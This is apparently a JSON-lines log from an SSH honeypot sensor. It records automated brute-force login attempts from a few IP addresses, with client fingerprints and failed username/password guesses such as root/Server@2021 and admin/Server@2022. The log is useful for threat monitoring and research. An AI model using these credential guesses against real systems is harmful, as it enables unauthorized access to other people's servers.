{"eventid":"cowrie.login.failed","username":"lighthouse","password":"111111","message":"login attempt [lighthouse/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:00.254428Z","src_ip":"43.160.206.186","session":"97addf7385bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2019","message":"login attempt [user2/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:00.618978Z","src_ip":"203.115.100.24","session":"a2581dc5b70a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:01.101518Z","src_ip":"203.115.100.24","session":"a2581dc5b70a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56724,"dst_ip":"10.17.0.5","dst_port":22,"session":"692510ebe702","protocol":"ssh","message":"New connection: 203.115.100.24:56724 (10.17.0.5:22) [session: 692510ebe702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:01.347172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:01.353373Z","src_ip":"203.115.100.24","session":"692510ebe702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:01.506469Z","src_ip":"43.160.206.186","session":"97addf7385bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:01.585829Z","src_ip":"203.115.100.24","session":"692510ebe702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2021","message":"login attempt [root/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:02.553514Z","src_ip":"203.115.100.24","session":"692510ebe702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":35842,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cae6fc2c4b0","protocol":"ssh","message":"New connection: 34.39.58.191:35842 (159.203.135.109:22) [session: 8cae6fc2c4b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:02.878179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:02.884215Z","src_ip":"34.39.58.191","session":"8cae6fc2c4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:03.016834Z","src_ip":"34.39.58.191","session":"8cae6fc2c4b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:03.025459Z","src_ip":"203.115.100.24","session":"692510ebe702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56821,"dst_ip":"10.17.0.5","dst_port":22,"session":"b92074d5d0d1","protocol":"ssh","message":"New connection: 203.115.100.24:56821 (10.17.0.5:22) [session: b92074d5d0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:03.276518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:03.281909Z","src_ip":"203.115.100.24","session":"b92074d5d0d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaqqq","message":"login attempt [root/aaaqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:03.360471Z","src_ip":"34.39.58.191","session":"8cae6fc2c4b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:03.523484Z","src_ip":"203.115.100.24","session":"b92074d5d0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:04.437809Z","src_ip":"34.39.58.191","session":"8cae6fc2c4b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2021","message":"login attempt [admin/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:04.527544Z","src_ip":"203.115.100.24","session":"b92074d5d0d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:05.005548Z","src_ip":"203.115.100.24","session":"b92074d5d0d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":56919,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3e7cdf38fcb","protocol":"ssh","message":"New connection: 203.115.100.24:56919 (10.17.0.5:22) [session: d3e7cdf38fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:05.251760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:05.256879Z","src_ip":"203.115.100.24","session":"d3e7cdf38fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:05.493660Z","src_ip":"203.115.100.24","session":"d3e7cdf38fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2021","message":"login attempt [user/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:06.457571Z","src_ip":"203.115.100.24","session":"d3e7cdf38fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:06.930778Z","src_ip":"203.115.100.24","session":"d3e7cdf38fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57015,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0463cec9b5b","protocol":"ssh","message":"New connection: 203.115.100.24:57015 (10.17.0.5:22) [session: f0463cec9b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:07.152836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:07.159506Z","src_ip":"203.115.100.24","session":"f0463cec9b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:07.375804Z","src_ip":"203.115.100.24","session":"f0463cec9b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2021","message":"login attempt [user2/Server@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:08.267919Z","src_ip":"203.115.100.24","session":"f0463cec9b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:08.738254Z","src_ip":"203.115.100.24","session":"f0463cec9b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57108,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c59a63db72","protocol":"ssh","message":"New connection: 203.115.100.24:57108 (10.17.0.5:22) [session: 27c59a63db72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:09.002247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:09.007191Z","src_ip":"203.115.100.24","session":"27c59a63db72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:09.255359Z","src_ip":"203.115.100.24","session":"27c59a63db72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2022","message":"login attempt [root/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:10.278654Z","src_ip":"203.115.100.24","session":"27c59a63db72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:10.758597Z","src_ip":"203.115.100.24","session":"27c59a63db72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57205,"dst_ip":"10.17.0.5","dst_port":22,"session":"48043c77fe40","protocol":"ssh","message":"New connection: 203.115.100.24:57205 (10.17.0.5:22) [session: 48043c77fe40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:11.014678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:11.019675Z","src_ip":"203.115.100.24","session":"48043c77fe40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:11.266044Z","src_ip":"203.115.100.24","session":"48043c77fe40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2022","message":"login attempt [admin/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:12.283212Z","src_ip":"203.115.100.24","session":"48043c77fe40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:12.755253Z","src_ip":"203.115.100.24","session":"48043c77fe40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57299,"dst_ip":"10.17.0.5","dst_port":22,"session":"db111bcc0a14","protocol":"ssh","message":"New connection: 203.115.100.24:57299 (10.17.0.5:22) [session: db111bcc0a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:13.005026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:13.009938Z","src_ip":"203.115.100.24","session":"db111bcc0a14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:13.244382Z","src_ip":"203.115.100.24","session":"db111bcc0a14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2022","message":"login attempt [user/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:14.212557Z","src_ip":"203.115.100.24","session":"db111bcc0a14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:14.681042Z","src_ip":"203.115.100.24","session":"db111bcc0a14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":57391,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dd921784460","protocol":"ssh","message":"New connection: 203.115.100.24:57391 (10.17.0.5:22) [session: 3dd921784460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:14.914916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:14.920439Z","src_ip":"203.115.100.24","session":"3dd921784460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:15.145997Z","src_ip":"203.115.100.24","session":"3dd921784460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2022","message":"login attempt [user2/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:17:16.073422Z","src_ip":"203.115.100.24","session":"3dd921784460","protocol":"ssh"}
